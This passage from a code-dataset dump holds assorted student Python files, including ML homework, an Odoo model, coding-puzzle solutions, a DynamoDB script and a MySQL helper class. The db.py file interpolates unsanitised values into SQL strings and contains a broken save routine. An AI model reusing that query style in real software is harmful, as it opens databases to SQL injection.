[x.replace(\"NR\", \"0\") for x in line]\n\n\t\tline = [float(x) for x in line]\n\t\ttest.append(line)\n\n\t\ti += 1\n\nnp.set_printoptions(precision = 2, suppress = True)\n\ndef print_message():\n\tprint(\"iteration =\", ITERATION)\n\tprint(\"eta =\", ETA)\n\tprint(\"validation =\", VALIDATION)\n\tprint(\"selected features =\", FEATURE)\n\tprint(\"w =\\n\", w)\n\tprint(\"b =\", b)\n\n# define constants\nITERATION = 10000\nETA = 1e-8\nVALIDATION = 0\n\nMAX_TIME = int(len(train[0]))\nPERIOD = 7\n\nFEATURE = [5, 9, 12] # selected feature\nNUM_FEATURE = len(FEATURE)\n#w = np.array([[0.01] * PERIOD] * NUM_FEATURE) # feature * period\nw = np.array([[-0.02, -0.04, 0.01, -0.02, 0.02, 0.01, -0.04, -0.03, 0.2], [-0.02, -0.02, 0.2, -0.21, -0.04, 0.49, -0.54, 0.01, 1.03], [-0.2, 0.11, -0.06, -0.09, -0.03, 0.0, -0.06, 0.12, 0.31]])\n#b = 0.959 # bias\nb = 1.0\n\nprint_message()\n\ndef filter_data(FEATURE, d):\n\tresult = []\n\tfor sf in FEATURE:\n\t\t\n\t\tresult.append(train[d * 18 + sf])\n\t\n\treturn result\n\ndef filter_hours(data, start, period, selected_features):\n\tresult = []\n\tfor f in selected_features:\n\t\tresult += [data[f][start : start + period]]\n\t\n\treturn result\n\ndef predict(X, w, b):\n\tY = np.sum(X * w) + b\n\treturn Y\n\n# train\nall_Ein = []\nfor i in range(ITERATION):\n\tif i % 100 == 0:\n\t\tprint(\"progress:\", i)\n\t\n\titer_Ein = []\n\tsum_gradient_X = np.zeros([NUM_FEATURE, PERIOD])\n\tsum_gradient_b = 0.0\n\n\tfor start in range(MAX_TIME - PERIOD - 1)[VALIDATION:]:\n\n\t\tX = np.array( filter_hours(train, start, PERIOD, FEATURE) )\n\t\tyh = train[9][start + PERIOD]\n\n\t\tsum_gradient_X += (-2.) * (yh - predict(X, w, b)) * X\n\t\tsum_gradient_b += (-2.) * (yh - predict(X, w, b))\n\n\t\tEtrain = (yh - predict(X, w, b)) ** 2\n\t\titer_Ein.append(Etrain)\n\n\tcurrent_Ein = np.mean(iter_Ein)\n\tall_Ein.append(current_Ein)\n\tif i % 10 == 0:\n\t\tprint(\"current Ein =\", np.sqrt(current_Ein))\n\n\t# update parameters\n\tw = w - ETA * sum_gradient_X\n\tb = b - ETA * sum_gradient_b\t\n\naverage_Ein = np.sqrt(np.mean(all_Ein))\n\n# print result\nprint_message()\nprint(\"average Ein = \", average_Ein)\n\n# validation\nEvalid = []\nfor start in range(MAX_TIME - PERIOD - 1)[:VALIDATION]:\n\tX = np.array( filter_hours(train, start, PERIOD, FEATURE))\n\tyh = train[9][start + PERIOD]\n\n\tEv = (yh - predict(X, w, b)) ** 2\n\tEvalid.append(Ev)\nif VALIDATION:\n\tprint(\"Evalid =\", np.sqrt(np.mean(Evalid)))\n\n# test\nwith open(argv[3], \"w\") as f:\n\tf.write(\"id,value\\n\")\n\tfor d in range(240):\n\t\t\n\t\ttest_data = filter_hours(test[ d*18 : d*18 + 18], 9-PERIOD, PERIOD, FEATURE)\n\t\tnp_data = np.array(test_data)\n\n\t\tdot_result = int(predict(np_data, w, b))\n\t\tf.write(\"id_\" + repr(d) + \",\" + repr(dot_result) + \"\\n\")\n","repo_name":"qhan1028/NTU-Machine-Learning","sub_path":"hw1/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"52"} +{"seq_id":"22045312475","text":"from odoo import _, api, fields, models\n\n\nclass OrganizationOffreService(models.Model):\n _name = \"organization.offre.service\"\n _inherit = \"portal.mixin\"\n _description = \"Organization Offre Service\"\n _rec_name = \"description\"\n\n description = fields.Char()\n\n accompli = fields.Boolean(\n string=\"Accomplie\",\n help=\"Cette offre de service est réalisée.\",\n )\n\n active = fields.Boolean(\n string=\"Actif\",\n default=True,\n help=(\n \"Lorsque non actif, cet offre de services n'est plus en fonction,\"\n \" mais demeure accessible.\"\n ),\n )\n\n approuve = fields.Boolean(\n string=\"Approuvé\",\n help=\"Permet d'approuver ce type de services.\",\n )\n\n condition = fields.Char(\n string=\"Conditions\",\n help=\"Conditions inhérentes à l'offre\",\n )\n\n condition_autre = fields.Char(\n string=\"Condition autres\",\n help=\"Autres conditions à informer\",\n )\n\n date_affichage = fields.Date(string=\"Date d'affichage\")\n\n date_debut = fields.Date(\n string=\"Date de début\",\n help=\"Date à partir de laquelle l'offre est valide.\",\n )\n\n date_fin = fields.Date(\n string=\"Date de fin\",\n help=\"Date jusqu'à laquelle l'offre est valide.\",\n )\n\n date_mise_a_jour = fields.Datetime(\n string=\"Dernière mise à jour\",\n required=True,\n help=\"Date de la dernière mise à jour\",\n )\n\n disponibilite = fields.Char(string=\"Disponibilité\")\n\n membre = fields.Many2one(\n comodel_name=\"organization.membre\",\n help=\"Membre qui offre le service\",\n )\n\n nb_consultation = fields.Integer(string=\"Nombre de consultations\")\n\n nom_offre_special = fields.Char(\n string=\"Nom de l'offre spéciale\",\n help=\"Nom ou brève description de l'offre spéciale\",\n )\n\n offre_special = fields.Boolean(string=\"Offre spéciale\")\n\n organization = fields.Many2one(\n comodel_name=\"organization.organization\",\n help=\"Organization associée\",\n )\n\n tarif = fields.Char()\n\n type_service_id = fields.Many2one(\n comodel_name=\"organization.type.service\",\n string=\"Type de services\",\n )\n\n def _compute_access_url(self):\n super(OrganizationOffreService, self)._compute_access_url()\n for organization_offre_service in self:\n organization_offre_service.access_url = (\n \"/my/organization_offre_service/%s\"\n % organization_offre_service.id\n )\n","repo_name":"TechnoLibre/odoo-code-generator-template","sub_path":"demo_mariadb_sql_example_1/models/organization_offre_service.py","file_name":"organization_offre_service.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"fr","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"37004413228","text":"\nclass Solution:\n def maxSumTwoNoOverlap(self, A: List[int], L: int, M: int) -> int:\n \n # 1. compute prefix sum \n \n for i in range(len(A)):\n if i > 0:\n A[i]+=A[i-1]\n A.insert(0,0) # to make easy for competion\n\n # 2 then callculate L length Subarray sum Before M\n # we take sum of L number of items first then we take the rest sum of M items\n # |----L--- |---M---]\n # loop by L+M since it's the total length of Current window\n\n '''\n # nums = [0,6,5,2,2,5,1,9,4], L = 1, M = 2\n prefix_sum = [0,0,6,11,13,15,20,21,30,34]\n\n If we want to calculate L subarray before M means we take first L items 0 then 6,5\n\n \n\n if we Take L first [----L--- |---M---]\n we take the current sum and substract sum available before and after the window\n According to the algorithm is: Lsum = prefixSum[i - M] - prefixSum[i - M - L] \n\n N.B i starts from L+ M = 3\n # so for first itration i = 3\n \n Lsum = prefix_sum [3-2] - prefixSum[3-2-1] = pr[1]-pr[0] = 0-0 = 0\n now we get Lsum then we compute M after L items means sum of 6,5 wich is 11\n Msum = prefix_sum[i] - prefix_sum[i-M] = pre[3]-pr[3-2] = 11-0 = 11\n we will repeat this once in reverse order taking M first then L\n\n so the maximum sum we can get with current window is Lsum+Msum = 11+0 =11\n so we continue this until the end of array and taking maxmum sum available\n\n \n '''\n res = 0\n Lmax = 0\n Mmax = 0\n for l in range(L+M,len(A)):\n # Take L first\n Lsum = A[l-M] - A[l-M-L]\n Msum = A[l] - A[l-M]\n \n Lmax = max(Lmax,Lsum)\n res = max(res,Lmax+Msum)\n\n # 3 then callculate M length Subarray sum Before L\n # we take sum of M number of items first then we take the rest sum of L items\n # |----M--- |---L---]\n\n # Take M first\n Lsum = A[l] - A[l-L]\n Msum = A[l-L] - A[l-L-M] \n \n Mmax = max(Mmax,Msum)\n res = max(res,Mmax+Lsum)\n\n\n # 3 then callculate M length Subarray sum Before L\n # we take sum of M number of items first then we take the rest sum of L items\n # |----M--- |---L---]\n\n\n\n # for m in range(L+M, len(A)):\n # Lsum = A[m] - A[m-L]\n # Msum = A[m-L] - A[m-L-M]\n \n # Mmax = max(Mmax,Msum)\n # res = max(res,Mmax+Lsum)\n \n return res\n\n\n \n","repo_name":"EsraelDawit-a/A2SV-problems","sub_path":"maximum_sum_of_two_non_overlapping_subarrays.py","file_name":"maximum_sum_of_two_non_overlapping_subarrays.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"11421539454","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport mysql.connector\nimport hashlib\nsys.stdout.reconfigure(encoding='utf-8')\n\n\nclass DB:\n def __init__(self, host, user, password, database):\n self.db = mysql.connector.connect(\n host=host,\n user=user,\n password=password,\n database=database\n )\n self.cursor = self.db.cursor()\n\n # METODOS PARA CONSULTAR DB. \n def get_data(self):\n sql = f'''\n SELECT AC.id, CO.nombre, AC.sector, AC.nombre, AC.email, AC.celular, AC.dia_hora_inicio, AC.dia_hora_termino, AC.descripcion, TE.nombre, F.ruta_archivo\n FROM actividad AC, comuna CO, tema TE, foto F\n WHERE F.actividad_id = AC.id AND AC.comuna_id=CO.id AND AC.tema_id=TE.id\n ORDER BY id DESC LIMIT 5;\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n\n def get_actividad_list(self):\n sql = '''\n SELECT actividad.id, actividad.dia_hora_inicio, actividad.dia_hora_termino, comuna.nombre AS comuna,\n actividad.sector, tema.nombre, actividad.nombre, fotos.numero \n FROM actividad, tema, comuna,\n (SELECT actividad_id, COUNT(actividad_id) AS numero \n FROM foto GROUP BY actividad_id) AS fotos\n WHERE actividad.comuna_id = comuna.id AND actividad.id= fotos.actividad_id AND actividad.tema_id = tema.id;\n '''\n self.cursor.execute(sql)\n data = self.cursor.fetchall()\n return data\n\n def get_temas(self, id_tema):\n sql = f'''\n SELECT nombre FROM tema\n WHERE id = {id_tema};\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()[0][0]\n\n def get_month_hour(self):\n sql ='''\n SELECT DATE_FORMAT(dia_hora_inicio, \"%Y-%m\") AS año_mes,\n DATE_FORMAT(dia_hora_inicio,\"%H:%i\") AS hh_mm\n FROM actividad\n ORDER BY DATE_FORMAT(dia_hora_inicio, \"%Y-%m\");\n '''\n self.cursor.execute(sql)\n data = self.cursor.fetchall()\n return data\n\n def get_region_name(self, region_id):\n sql = f'''\n SELECT nombre FROM region WHERE id = '{region_id}'\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()[0][0]\n\n def get_actividad_info(self, actividad_id):\n sql = f'''\n SELECT AC.id, CO.nombre, CO.id, AC.sector, AC.nombre, AC.email, AC.celular, AC.dia_hora_inicio, AC.dia_hora_termino, AC.descripcion, TE.nombre, COUNT(FO.id)\n FROM actividad AC, comuna CO, tema TE, foto FO\n WHERE AC.id = '{actividad_id}' AND FO.actividad_id = AC.id AND AC.comuna_id = CO.id AND AC.tema_id=TE.id;\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()[0]\n\n def get_actividad_red(self, actividad_id):\n sql = f'''\n SELECT * FROM contactar_por WHERE actividad_id = '{actividad_id}'\n ORDER BY id ASC\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n\n def get_comuna_data(self, comuna_id):\n sql = f'''\n SELECT nombre, region_id FROM comuna WHERE id = '{comuna_id}'\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()[0]\n\n def get_comuna_id(self, nombre_comuna, region_id):\n sql = f'''\n SELECT id FROM comuna \n WHERE nombre = '{nombre_comuna}' \n AND region_id = {region_id};\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()[0][0]\n\n def get_region_id(self, id_region):\n sql = f'''\n SELECT id FROM region\n WHERE id = '{id_region}';\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()[0][0]\n\n def get_comuna_fotos(self):\n sql ='''\n SELECT comuna.nombre, COUNT(foto.id), comuna.id AS nfotos\n FROM actividad, comuna, foto\n WHERE actividad.comuna_id=comuna.id \n AND foto.actividad_id = actividad.id\n GROUP BY comuna.nombre;\n '''\n self.cursor.execute(sql)\n data = self.cursor.fetchall()\n return data\n\n def get_mapa_info(self, id):\n sql = f'''\n SELECT actividad.id, comuna.nombre, DATE_FORMAT(actividad.dia_hora_inicio,\"%Y-%m-%d %H:%i\") AS inicio,\n actividad.tema_id, actividad.sector, foto.ruta_archivo\n FROM actividad, foto, comuna\n WHERE actividad.id = foto.actividad_id\n AND comuna_id = comuna.id\n AND comuna_id = \"{id}\"\n ORDER BY actividad.id;\n '''\n self.cursor.execute(sql)\n data = self.cursor.fetchall()\n return data\n\n def get_actividad_por_date(self):\n sql ='''\n SELECT fecha, COUNT(fecha) \n FROM (SELECT DAYNAME(CAST(dia_hora_inicio AS date)) AS fecha FROM actividad AS F1) F1 \n GROUP BY fecha;\n '''\n self.cursor.execute(sql)\n data = self.cursor.fetchall()\n return data\n\n def get_actividad_por_tema(self):\n sql ='''\n SELECT COUNT(T.nombre), T.nombre\n FROM tema T, actividad AC\n WHERE T.id = AC.tema_id\n GROUP BY T.nombre\n '''\n self.cursor.execute(sql)\n data = self.cursor.fetchall()\n return data\n\n def get_temaID(self, tema):\n sql = f'''\n SELECT id FROM tema WHERE nombre='{tema}';\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n\n def get_actividad_photos(self, actividad_id):\n sql = f'''\n SELECT * FROM foto WHERE actividad_id = '{actividad_id}'\n ORDER BY id ASC\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n\n def get_last_5(self):\n sql = f'''\n SELECT AC.id, CO.nombre, AC.sector, AC.nombre, AC.email, AC.celular, AC.dia_hora_inicio, AC.dia_hora_termino, AC.descripcion, TE.nombre\n FROM actividad AC, comuna CO, tema TE\n WHERE AC.comuna_id=CO.id AND AC.tema_id=TE.id\n ORDER BY id DESC LIMIT 5;\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n\n def get_datos_g1(self):\n sql = '''\n SELECT id, dia_hora_inicio FROM actividad ORDER BY dia_hora_inicio\n '''\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n\n # METODOS PARA GUARDAR DB.\n def guardar_actividad1(self):\n sql = '''\n SELECT * FROM actividad\n '''\n id_actividad = self.cursor.getlastrowid()\n return id_actividad\n\n def guardar_tema(self, tema):\n sql = f'''\n INSERT INTO tema (nombre) VALUES ('{tema}');\n '''\n self.cursor.execute(sql)\n self.db.commit()\n\n def guardar_contacto(self, contacto):\n sql = '''\n INSERT INTO contactar_por (nombre, identificador, actividad_id)\n VALUES (%s, %s, %s)\n '''\n valores = (contacto['nombre'],\n contacto['id'],\n contacto['id_act'])\n self.cursor.execute(sql, valores)\n\n def guardar_actividad(self, actividad):\n\n sql = '''\n INSERT INTO actividad (comuna_id, sector, nombre, email, celular, dia_hora_inicio, dia_hora_termino, descripcion, tema_id)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\n '''\n valores = (actividad['comuna'],\n actividad['sector'],\n actividad['nombre'],\n actividad['email'],\n actividad['celular'],\n actividad['dia-hora-inicio'],\n actividad['dia-hora-termino'],\n actividad['descripcion'],\n actividad['tema'])\n self.cursor.execute(sql, valores) # ejecuta la consulta\n id_actividad = self.cursor.getlastrowid()\n return id_actividad\n\n def save_data(self, data):\n ##Se separa la data en 3 partes\n fotos = data[2]\n try:\n id_actividad = self.guardar_actividad1() # guarda la actividad y recupera el id\n for foto in fotos:\n # Procesar archivo\n fileobj = foto\n filename = fileobj.filename\n\n # Cuenta los archivos que hay en la base de datos\n sql = \"SELECT COUNT(id) FROM foto;\"\n self.cursor.execute(sql)\n total = self.cursor.fetchall()[0][0] + 1\n\n filename_hash = hashlib.sha256(filename.encode()).hexdigest()[0:30] # aplica función de hash\n # concatena la función de hash con el número total de archivos, nombre único\n filename_hash += f\"_{total}\"\n # OJO: lo anterior puede ser peligroso en el caso en que se tenga un servidor que ejecute peticiones en\n # paralelo. Lo que se conoce como un datarace. Nuestro servidor ejecuta sus procesos de forma secuencial,\n # no worries.\n\n # guarda el archivo localmente\n open(f\"media/{filename_hash}\", \"wb\").write(fileobj.file.read())\n sql_file = '''\n INSERT INTO foto (ruta_archivo, nombre_archivo, actividad_id) \n VALUES (%s, %s, %s)\n '''\n self.cursor.execute(sql_file, (filename_hash, filename, id_actividad)) # ejecuta la query que guarda el archivo en base de datos\n self.db.commit() # modifico la base de datos\n\n except:\n print(\"ERROR AL GUARDAR EN LA BASE DE DATOS\")\n sys.exit()","repo_name":"OffiPuppet/Tareas-CC5002","sub_path":"T3/cgi-bin/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":9588,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12529962025","text":"import boto3\n\nclient = boto3.client('dynamodb', region_name='us-west-1') #choose client & region\n\ntry: \n resp = client.create_table( \n TableName=\"Books\", \n\n# Declare primary key and schema\n KeySchema=[ \n { \n \"AttributeName\": \"Author\", \n \"KeyType\": \"HASH\" \n }, \n { \n \"AttributeName\": \"Title\", \n \"KeyType\": \"RANGE\" \n } \n ],\n# attributes declared in AttributeDefinitions \n AttributeDefinitions=[ \n { \n \"AttributeName\": \"Author\", \n \"AttributeType\": \"S\" \n }, \n { \n \"AttributeName\": \"Title\", \n \"AttributeType\": \"S\" \n } \n ],\n# controls the amount of data read/write to DynamoDB per second. \n\n ProvisionedThroughput={ \n \"ReadCapacityUnits\": 1, \n \"WriteCapacityUnits\": 1 \n } \n ) \n \n print(\"Table created successfully!\")\n\nexcept Exception as e: \n print(\"Error creating table:\") \n print(e)","repo_name":"diorchen/NoSQL-Bookstore-Application","sub_path":"createPrimaryIndex.py","file_name":"createPrimaryIndex.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35439094159","text":"import random\n\n\nclass Policy:\n DEFAULT_ACTION_INDEX = 0\n\n def __init__(self):\n self.policy = dict()\n\n def request_action(self, state, available_actions):\n if len(available_actions) >= 1:\n if state in self.policy:\n action = self.policy[state]\n if action not in available_actions:\n action = available_actions[Policy.DEFAULT_ACTION_INDEX]\n else:\n action = available_actions[Policy.DEFAULT_ACTION_INDEX]\n else:\n action = None\n\n return action\n\n\nDEFAULT_ESTIMATED_VALUE = 0\n\n\ndef explore_policy(environment, number_of_episodes):\n \"\"\"\n Starting point for this implementation:\n [Monte Carlo ES (Exploring Starts) π ≈ π* (p. 121)](http://incompleteideas.net/book/RLbook2020.pdf)\n \"\"\"\n policy = Policy()\n Q = dict()\n returns = dict()\n\n available_actions_at_state = dict()\n\n exploration_rate = 0.5\n\n for episode_number in range(number_of_episodes):\n steps = []\n\n environment.reset()\n T = 0\n\n while not environment.is_done():\n state = environment.request_state()\n available_actions = environment.request_available_actions()\n available_actions_at_state[state] = available_actions\n if random.random() <= exploration_rate:\n action = random.choice(available_actions)\n else:\n action = policy.request_action(state, available_actions)\n reward = environment.act(action)\n\n step = (state, action, reward)\n steps.append(step)\n\n T += 1\n\n unvisited_states = set(state for state, action, reward in steps)\n\n for t in range(T - 2, 0, -1):\n state, action, reward = steps[t]\n if state in unvisited_states:\n if state not in returns:\n returns[(state, action)] = []\n returns[(state, action)].append(reward)\n Q[(state, action)] = average(returns[(state, action)])\n policy.policy[state] = argmax(\n available_actions_at_state[state],\n lambda action: Q[(state, action)] if (state, action) in Q else DEFAULT_ESTIMATED_VALUE\n )\n\n return policy\n\n\ndef average(values):\n return sum(values) / float(len(values))\n\n\ndef argmax(values, predicate):\n return max(values, key=predicate)\n","repo_name":"SanjoSolutions/monte-carlo","sub_path":"explore_policy.py","file_name":"explore_policy.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37516180439","text":"import collections\n\nd = collections.defaultdict(list)\na, b = input().split()\nfor x in range(1, int(a) + 1):\n d[x].append(input())\nfor x in range(int(b)):\n c = input()\n for key, value in d.items():\n if value == [c]:\n print(key, end=' ')\n\n if [c] not in d.values():\n print(-1, end=' ')\n print()","repo_name":"SupremeSadat/HackerRank","sub_path":"Python Solutions/Collections/DefaultDict Tutorial.py","file_name":"DefaultDict Tutorial.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9786326113","text":"from graphillion import GraphSet\nimport graphillion.tutorial as tl\n\nuniverse = tl.grid(2, 2)\nGraphSet.set_universe(universe)\nlines = GraphSet({'include': [(8, 9), (5, 8), (4, 5)], 'exclude': [(6, 9)]})\ntrees = GraphSet.trees(is_spanning=True)\ncommon = trees & lines\n\nfor path in common:\n tl.draw(path)\n","repo_name":"SpringFujii/design-computing-aij","sub_path":"ch4_2/test_tree.py","file_name":"test_tree.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32907164120","text":"#!/usr/bin/python\n\n#Q2:\n#There is a file named \"Log.txt\" containing raw logs having 100's of email addresses.\n#Parse this file \"Log.txt\", extract all email addresses , and Give the count of the email addresses per domain.\n\n#Output E.g. \n\nimport re\n\ndef extract_email_address():\n f = open(\"Log.txt\")\n lines = f.readlines()\n f.close()\n set_address = set()\n \n regex = \"[a-zA-Z0-9-_.]+@[a-zA-Z0-9-_.]+\"\n p = re.compile(regex)\n for line in lines:\n ret = p.findall(line)\n for email_address in ret:\n set_address.add(email_address)\n list_unique_email_address = list(set_address)\n print(list_unique_email_address)\n \n frequency_dict = {}\n \n for address in list_unique_email_address:\n if address.split(\"@\")[1] in frequency_dict:\n frequency_dict[address.split(\"@\")[1]] = frequency_dict.get(address.split(\"@\")[1]) + 1\n else:\n frequency_dict[address.split(\"@\")[1]] = 1\n print(frequency_dict)\n\nif __name__ == \"__main__\":\n extract_email_address()","repo_name":"dipakdash/python","sub_path":"interview/extract_email_address.py","file_name":"extract_email_address.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28312687066","text":"import numpy as np\nimport torch\nimport cv2\nimport os\nimport random\n\nclass ToTensor():\n \n def __init__(self, divide255, img_count=1):\n self.divide255 = divide255\n self.img_count = img_count\n print(\"ToTensor divide255:\", divide255)\n\n def PreprocessImage(image, divide255):\n tmpImg = np.zeros((image.shape[0], image.shape[1], 3), dtype=np.float32)\n\n if divide255:\n image = image / 255\n else:\n image = image - np.min(image)\n image = image / np.max(image)\n\n if image.shape[2] == 1:\n tmpImg[:,:,0] = (image[:,:,0]-0.485)/0.229\n tmpImg[:,:,1] = (image[:,:,0]-0.485)/0.229\n tmpImg[:,:,2] = (image[:,:,0]-0.485)/0.229\n else:\n tmpImg[:,:,0] = (image[:,:,0]-0.485)/0.229\n tmpImg[:,:,1] = (image[:,:,1]-0.456)/0.224\n tmpImg[:,:,2] = (image[:,:,2]-0.406)/0.225\n\n tmpImg = tmpImg.transpose((2, 0, 1))\n\n tmpImg = tmpImg.astype(np.float32)\n return tmpImg\n \n def __call__(self, sample):\n for i in range(self.img_count):\n sample[f'image_unnormalized{i}'] = sample[f'image{i}']\n sample[f'image{i}'] = ToTensor.PreprocessImage(sample[f'image{i}'], self.divide255)\n\n return sample\n \n\nclass OmniObject(torch.utils.data.Dataset):\n def __init__(self, samples, img_count=1,transform=None,dynamic=False):\n self.dynamic = dynamic\n self.Samples = samples\n self.Transform = transform\n self.img_count = img_count\n\n def __len__(self):\n return len(self.Samples)\n\n def __getitem__(self,idx):\n sample = {}\n sample[\"img_count\"] = self.img_count\n\n if self.dynamic:\n image_dir = self.Samples[idx][\"image_dir\"]\n image_paths = os.listdir(image_dir)\n image_paths = [os.path.join(image_dir, image_path) for image_path in image_paths]\n image_paths = np.random.choice(image_paths, self.img_count, replace=False)\n else:\n image_paths = []\n for i in range(self.img_count):\n image_paths.append(self.Samples[idx][f\"image_path{i}\"])\n\n for i in range(self.img_count):\n image = cv2.imread(image_paths[i], cv2.IMREAD_COLOR)\n image = image.astype(np.float32)\n\n label = self.Samples[idx][\"label\"]\n\n sample[f\"image{i}\"] = image\n sample[\"label\"] = label\n sample[\"image_sample\"] = self.Samples[idx][\"image_sample\"]\n\n if self.Transform:\n sample = self.Transform(sample)\n\n return sample\n\n\ndef getSamples(path, count, embedding_dict=None, sample_count=None, dynamic=False):\n samples = []\n base_path = path\n img_count = count\n\n # Loop through the directories in the base path\n for dir_name in os.listdir(base_path): # dir_name = 'airplane'\n dir_path = os.path.join(base_path, dir_name) \n if \".DS_Store\" in dir_path:\n continue\n \n for inner_dir_name in os.listdir(dir_path): # inner_dir_name = 'airplane_0001'\n inner_dir_path = os.path.join(dir_path, inner_dir_name)\n\n if embedding_dict is not None:\n if inner_dir_name not in embedding_dict:\n continue \n # Check if the path is a directory\n if os.path.isdir(inner_dir_path):\n # Construct the path to the 'images' directory\n images_dir = os.path.join(inner_dir_path, 'render', 'images')\n \n # Check if the 'images' directory exists\n if os.path.exists(images_dir):\n # Loop through the PNG files in the 'images' directory\n file_names = os.listdir(images_dir)\n random.shuffle(file_names)\n\n if dynamic:\n sample = {}\n sample[\"image_sample\"] = inner_dir_name\n sample[\"label\"] = dir_name\n sample[\"image_dir\"] = images_dir\n samples.append(sample)\n continue\n if sample_count is not None:\n for i in range(sample_count):\n sample = {}\n sample[\"image_sample\"] = inner_dir_name\n sample[\"label\"] = dir_name\n sample[\"image_dir\"] = images_dir\n sample_files = np.random.choice(file_names, img_count, replace=False)\n for index, sample_file in enumerate(sample_files):\n file_path = os.path.join(images_dir, sample_file)\n sample[f\"image_path{index}\"] = file_path\n samples.append(sample)\n else:\n number_of_samples = len(file_names) // img_count\n for i in range(number_of_samples):\n sample = {}\n sample[\"image_sample\"] = inner_dir_name\n sample[\"label\"] = dir_name\n sample[\"image_dir\"] = images_dir\n for j in range(img_count):\n file_name = file_names[i*img_count + j]\n file_path = os.path.join(images_dir, file_name)\n sample[f\"image_path{j}\"] = file_path\n samples.append(sample)\n\n return samples\n\nif __name__ == \"__main__\":\n\n img_count = 3 \n samples = getSamples('D:\\\\GitHub\\\\ML43D_Project\\\\TrainDataSet',img_count)\n \n print(len(samples))\n print(samples[0])\n\n data = OmniObject(samples, img_count=img_count, transform=ToTensor(divide255=True, img_count=img_count))\n\n imgs = data.__getitem__(0)\n\n print(imgs[\"image0\"].shape)\n print(imgs[\"image1\"].shape)\n print(imgs[\"image2\"].shape)\n print(imgs[\"label\"])\n print(imgs[\"img_count\"])\n\n","repo_name":"yunus-topal/Generalized-3D-LMNet","sub_path":"OmniObject.py","file_name":"OmniObject.py","file_ext":"py","file_size_in_byte":6096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14401483875","text":"import time\r\nstart=time.time()\r\nmatrix = [[0 for x in range(1002)] for y in range(1002)] \r\nmatrix[500][500]=1\r\nx=501\r\ny=500\r\nfor n in range(2,1002002):\r\n matrix[x][y]=n\r\n if matrix[x-1][y]>0 and matrix[x][y-1]==0:\r\n y=y-1\r\n elif matrix[x][y+1]>0 and matrix[x-1][y]==0:\r\n x=x-1\r\n elif matrix[x+1][y]>0 and matrix[x][y+1]==0:\r\n y=y+1\r\n else:\r\n x=x+1\r\ntot=0\r\nfor n in range(1001):\r\n tot+=matrix[n][n]+matrix[1000-n][n]\r\ntot-=matrix[500][500]\r\nprint(tot,time.time()-start,\" seconds\")\r\n","repo_name":"Dyonn/Euler_Project","sub_path":"euler28.py","file_name":"euler28.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9326075184","text":"import unittest\nfrom typing import List\n\n\nclass Solution1a:\n @staticmethod\n def missingElement(nums: List[int], k: int) -> int:\n def missing(idx):\n return nums[idx] - nums[0] - idx\n\n n = len(nums)\n\n if k > missing(n - 1):\n return nums[-1] + k - missing(n - 1)\n\n left, right = 0, n - 1\n while left != right:\n pivot = left + (right - left) // 2\n if missing(pivot) < k:\n left = pivot + 1\n else:\n right = pivot\n\n return nums[left - 1] + k - missing(left - 1)\n\n\nclass TestSolutions(unittest.TestCase):\n \"\"\"\n [4,7,9,10]\n 1\n\n [4,7,9,10]\n 3\n\n [1,2,4]\n 3\n \"\"\"\n def test_s1(self):\n s = Solution1a\n self.assertEqual(s.missingElement([4, 7, 9, 10], 1), 5, \"Test input returns 5\")\n self.assertEqual(s.missingElement([4, 7, 9, 10], 3), 8, \"Test input return 8\")\n self.assertEqual(s.missingElement([1,2,4], 3), 6, \"Test when k is greater than last element\")\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=3)\n\n# end of file\n","repo_name":"ideaguy3d/algos","sub_path":"leet/binary_search/p1060.py","file_name":"p1060.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"23902902816","text":"#coding=utf-8\r\nimport os\r\nimport fnmatch\r\nfrom shutil import copyfile\r\n\r\ndef get_filename_list(path):\r\n filename_list = []\r\n for root, dirnames, filenames in os.walk(path):\r\n for filename in fnmatch.filter(filenames, '*.png'):\r\n filename_list.append(filename)\r\n\r\n return filename_list\r\n\r\n\r\ndef get_path_list(path):\r\n path_list = []\r\n for root, dirnames, filenames in os.walk(path):\r\n for filename in fnmatch.filter(filenames, '*.png'):\r\n path = os.path.join(root, filename)\r\n path_list.append(path)\r\n\r\n return path_list\r\n\r\n\r\n# 